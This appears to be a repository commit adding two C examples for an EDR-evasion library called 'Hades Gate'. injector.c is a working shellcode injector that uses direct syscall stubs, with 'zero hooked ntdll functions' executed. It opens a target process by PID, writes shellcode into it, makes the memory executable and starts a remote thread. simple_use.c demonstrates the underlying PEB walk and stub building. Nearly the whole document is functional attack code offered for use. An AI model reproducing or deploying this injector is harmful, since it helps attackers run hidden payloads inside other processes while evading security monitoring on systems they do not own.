Upload files to "examples"
This commit is contained in:
@@ -0,0 +1,240 @@
|
|||||||
|
/*
|
||||||
|
* injector.c — Complete unhooked injection chain via Hades Gate
|
||||||
|
*
|
||||||
|
* Demonstrates: NtOpenProcess → NtAllocateVirtualMemory →
|
||||||
|
* NtWriteVirtualMemory → NtProtectVirtualMemory → NtCreateThreadEx
|
||||||
|
*
|
||||||
|
* All calls go through direct syscall stubs. Zero Win32 API calls.
|
||||||
|
* Zero hooked ntdll functions executed.
|
||||||
|
*
|
||||||
|
* Build:
|
||||||
|
* x86_64-w64-mingw32-gcc -Os -masm=intel \
|
||||||
|
* src/hades_gate.c examples/injector.c -o injector.exe
|
||||||
|
*
|
||||||
|
* Usage:
|
||||||
|
* injector.exe <PID> <shellcode.bin>
|
||||||
|
*
|
||||||
|
* This file is part of Hades Gate.
|
||||||
|
* License: None / Do What Thou Wilt.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "../src/hades_gate.h"
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* NT API prototypes — we'll fill these with our clean stubs */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtOpenProcess)(
|
||||||
|
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, CLIENT_ID*);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
|
||||||
|
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)(
|
||||||
|
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtProtectVirtualMemory)(
|
||||||
|
HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
|
||||||
|
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG,
|
||||||
|
SIZE_T, SIZE_T, SIZE_T, PVOID);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtClose)(HANDLE);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Load shellcode from file */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
static unsigned char* load_file(const char* path, SIZE_T* out_size) {
|
||||||
|
FILE* f = fopen(path, "rb");
|
||||||
|
if (!f) { perror("fopen"); return NULL; }
|
||||||
|
|
||||||
|
fseek(f, 0, SEEK_END);
|
||||||
|
*out_size = ftell(f);
|
||||||
|
fseek(f, 0, SEEK_SET);
|
||||||
|
|
||||||
|
unsigned char* buf = (unsigned char*)malloc(*out_size);
|
||||||
|
if (!buf) { fclose(f); return NULL; }
|
||||||
|
|
||||||
|
if (fread(buf, 1, *out_size, f) != *out_size) {
|
||||||
|
free(buf);
|
||||||
|
fclose(f);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(f);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Main */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
if (argc < 3) {
|
||||||
|
printf("Usage: %s <PID> <shellcode.bin>\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD pid = atoi(argv[1]);
|
||||||
|
SIZE_T sc_size = 0;
|
||||||
|
unsigned char* shellcode = load_file(argv[2], &sc_size);
|
||||||
|
if (!shellcode) {
|
||||||
|
fprintf(stderr, "Failed to load shellcode from %s\n", argv[2]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[*] Target PID: %lu\n", pid);
|
||||||
|
printf("[*] Shellcode size: %zu bytes\n", sc_size);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Resolve all Nt* functions via Hades Gate */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
printf("[*] Resolving syscall stubs...\n");
|
||||||
|
|
||||||
|
pNtOpenProcess NtOpenProcess
|
||||||
|
= (pNtOpenProcess)hg_syscall("NtOpenProcess");
|
||||||
|
pNtAllocateVirtualMemory NtAllocateVirtualMemory
|
||||||
|
= (pNtAllocateVirtualMemory)hg_syscall("NtAllocateVirtualMemory");
|
||||||
|
pNtWriteVirtualMemory NtWriteVirtualMemory
|
||||||
|
= (pNtWriteVirtualMemory)hg_syscall("NtWriteVirtualMemory");
|
||||||
|
pNtProtectVirtualMemory NtProtectVirtualMemory
|
||||||
|
= (pNtProtectVirtualMemory)hg_syscall("NtProtectVirtualMemory");
|
||||||
|
pNtCreateThreadEx NtCreateThreadEx
|
||||||
|
= (pNtCreateThreadEx)hg_syscall("NtCreateThreadEx");
|
||||||
|
pNtClose NtClose
|
||||||
|
= (pNtClose)hg_syscall("NtClose");
|
||||||
|
pNtDelayExecution NtDelayExecution
|
||||||
|
= (pNtDelayExecution)hg_syscall("NtDelayExecution");
|
||||||
|
|
||||||
|
if (!NtOpenProcess || !NtAllocateVirtualMemory || !NtWriteVirtualMemory ||
|
||||||
|
!NtProtectVirtualMemory || !NtCreateThreadEx || !NtClose) {
|
||||||
|
fprintf(stderr, "[-] Failed to resolve one or more syscall stubs\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Verify all stubs are executing from non-ntdll memory */
|
||||||
|
printf("[*] All stubs resolved successfully\n\n");
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Step 1: NtOpenProcess */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
|
||||||
|
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
|
||||||
|
|
||||||
|
printf("[*] Opening process %lu...\n", pid);
|
||||||
|
NTSTATUS status = NtOpenProcess(
|
||||||
|
&hProcess,
|
||||||
|
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ |
|
||||||
|
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_SUSPEND_RESUME,
|
||||||
|
&oa, &cid);
|
||||||
|
|
||||||
|
if (status < 0 || !hProcess) {
|
||||||
|
fprintf(stderr, "[-] NtOpenProcess failed: 0x%08lX\n", status);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Process handle: 0x%p\n", (void*)hProcess);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Step 2: NtAllocateVirtualMemory in target */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
PVOID remote_addr = NULL;
|
||||||
|
SIZE_T alloc_size = sc_size;
|
||||||
|
|
||||||
|
printf("[*] Allocating %zu bytes in target...\n", alloc_size);
|
||||||
|
status = NtAllocateVirtualMemory(
|
||||||
|
hProcess, &remote_addr, 0, &alloc_size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE); // ← RW, not RWX. We'll change executable afterwards.
|
||||||
|
|
||||||
|
if (status < 0 || !remote_addr) {
|
||||||
|
fprintf(stderr, "[-] NtAllocateVirtualMemory failed: 0x%08lX\n", status);
|
||||||
|
NtClose(hProcess);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Remote address: 0x%p\n", remote_addr);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Step 3: NtWriteVirtualMemory */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
SIZE_T bytes_written = 0;
|
||||||
|
|
||||||
|
printf("[*] Writing shellcode...\n");
|
||||||
|
status = NtWriteVirtualMemory(
|
||||||
|
hProcess, remote_addr, shellcode, sc_size, &bytes_written);
|
||||||
|
|
||||||
|
if (status < 0 || bytes_written != sc_size) {
|
||||||
|
fprintf(stderr, "[-] NtWriteVirtualMemory failed: 0x%08lX\n", status);
|
||||||
|
NtClose(hProcess);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Wrote %zu bytes\n", bytes_written);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Step 4: NtProtectVirtualMemory → PAGE_EXECUTE_READ */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
ULONG old_protect = 0;
|
||||||
|
PVOID protect_addr = remote_addr;
|
||||||
|
SIZE_T protect_size = sc_size;
|
||||||
|
|
||||||
|
printf("[*] Changing memory to PAGE_EXECUTE_READ...\n");
|
||||||
|
status = NtProtectVirtualMemory(
|
||||||
|
hProcess, &protect_addr, &protect_size,
|
||||||
|
PAGE_EXECUTE_READ, &old_protect);
|
||||||
|
|
||||||
|
if (status < 0) {
|
||||||
|
fprintf(stderr, "[-] NtProtectVirtualMemory failed: 0x%08lX\n", status);
|
||||||
|
NtClose(hProcess);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Protection changed from 0x%08lX to PAGE_EXECUTE_READ\n",
|
||||||
|
old_protect);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Step 5: NtCreateThreadEx */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
|
||||||
|
printf("[*] Creating remote thread...\n");
|
||||||
|
status = NtCreateThreadEx(
|
||||||
|
&hThread,
|
||||||
|
THREAD_ALL_ACCESS,
|
||||||
|
NULL,
|
||||||
|
hProcess,
|
||||||
|
remote_addr, // start address (our shellcode)
|
||||||
|
NULL, // argument
|
||||||
|
0, // flags
|
||||||
|
0, // stack size (0 = default)
|
||||||
|
0, // max stack size
|
||||||
|
0, // initial thread attributes
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
if (status < 0 || !hThread) {
|
||||||
|
fprintf(stderr, "[-] NtCreateThreadEx failed: 0x%08lX\n", status);
|
||||||
|
NtClose(hProcess);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Remote thread: 0x%p\n", (void*)hThread);
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
/* Cleanup */
|
||||||
|
/* ------------------------------------------------------------------ */
|
||||||
|
printf("[*] Waiting 1 second for shellcode to execute...\n");
|
||||||
|
|
||||||
|
LARGE_INTEGER delay;
|
||||||
|
delay.QuadPart = -10000000LL; // 1 second in 100ns intervals
|
||||||
|
NtDelayExecution(FALSE, &delay);
|
||||||
|
|
||||||
|
NtClose(hThread);
|
||||||
|
NtClose(hProcess);
|
||||||
|
free(shellcode);
|
||||||
|
|
||||||
|
printf("[+] Injection complete\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
/*
|
||||||
|
* simple_use.c — Minimal Hades Gate usage example
|
||||||
|
*
|
||||||
|
* Demonstrates:
|
||||||
|
* 1. Resolving ntdll base via PEB walk
|
||||||
|
* 2. Parsing exports for NtAllocateVirtualMemory
|
||||||
|
* 3. Building and calling a clean syscall stub
|
||||||
|
*
|
||||||
|
* Build:
|
||||||
|
* x86_64-w64-mingw32-gcc -Os -masm=intel \
|
||||||
|
* src/hades_gate.c examples/simple_use.c -o simple_use.exe
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "../src/hades_gate.h"
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
|
||||||
|
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
printf("=== Hades Gate — Simple Usage Test ===\n\n");
|
||||||
|
|
||||||
|
/* Method 1: One-shot (resolve + build in one call) */
|
||||||
|
printf("[*] One-shot: hg_syscall(\"NtAllocateVirtualMemory\")\n");
|
||||||
|
void* stub = hg_syscall("NtAllocateVirtualMemory");
|
||||||
|
if (stub) {
|
||||||
|
printf("[+] Stub at: %p\n", stub);
|
||||||
|
} else {
|
||||||
|
printf("[-] Failed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Method 2: Two-step (inspect the resolved info) */
|
||||||
|
printf("\n[*] Two-step: hg_find_ntdll → hg_resolve\n");
|
||||||
|
uintptr_t ntdll = hg_find_ntdll();
|
||||||
|
if (ntdll) {
|
||||||
|
printf("[+] ntdll base: 0x%p\n", (void*)ntdll);
|
||||||
|
} else {
|
||||||
|
printf("[-] PEB walk failed\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory");
|
||||||
|
if (r.ssn) {
|
||||||
|
printf("[+] Function: %p\n", r.address);
|
||||||
|
printf("[+] SSN: 0x%02X (%u)\n", r.ssn, r.ssn);
|
||||||
|
|
||||||
|
void* stub2 = hg_build_stub(r.ssn);
|
||||||
|
if (stub2) {
|
||||||
|
printf("[+] Stub: %p\n", stub2);
|
||||||
|
|
||||||
|
/* Call it */
|
||||||
|
pNtAllocateVirtualMemory pAlloc = (pNtAllocateVirtualMemory)stub2;
|
||||||
|
PVOID addr = NULL;
|
||||||
|
SIZE_T size = 0x1000;
|
||||||
|
|
||||||
|
printf("\n[*] Calling stub (allocating 4096 bytes)...\n");
|
||||||
|
NTSTATUS status = pAlloc(
|
||||||
|
(HANDLE)-1, &addr, 0, &size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (status >= 0 && addr) {
|
||||||
|
printf("[+] Allocated: %p (NTSTATUS: 0x%08lX)\n", addr, status);
|
||||||
|
/* Write a test pattern */
|
||||||
|
*(uint32_t*)addr = 0xDEADBEEF;
|
||||||
|
printf("[+] Wrote 0x%08X — memory is alive\n", *(uint32_t*)addr);
|
||||||
|
} else {
|
||||||
|
printf("[-] Allocation failed: 0x%08lX\n", status);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
printf("[-] Resolution failed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\n=== Done ===\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user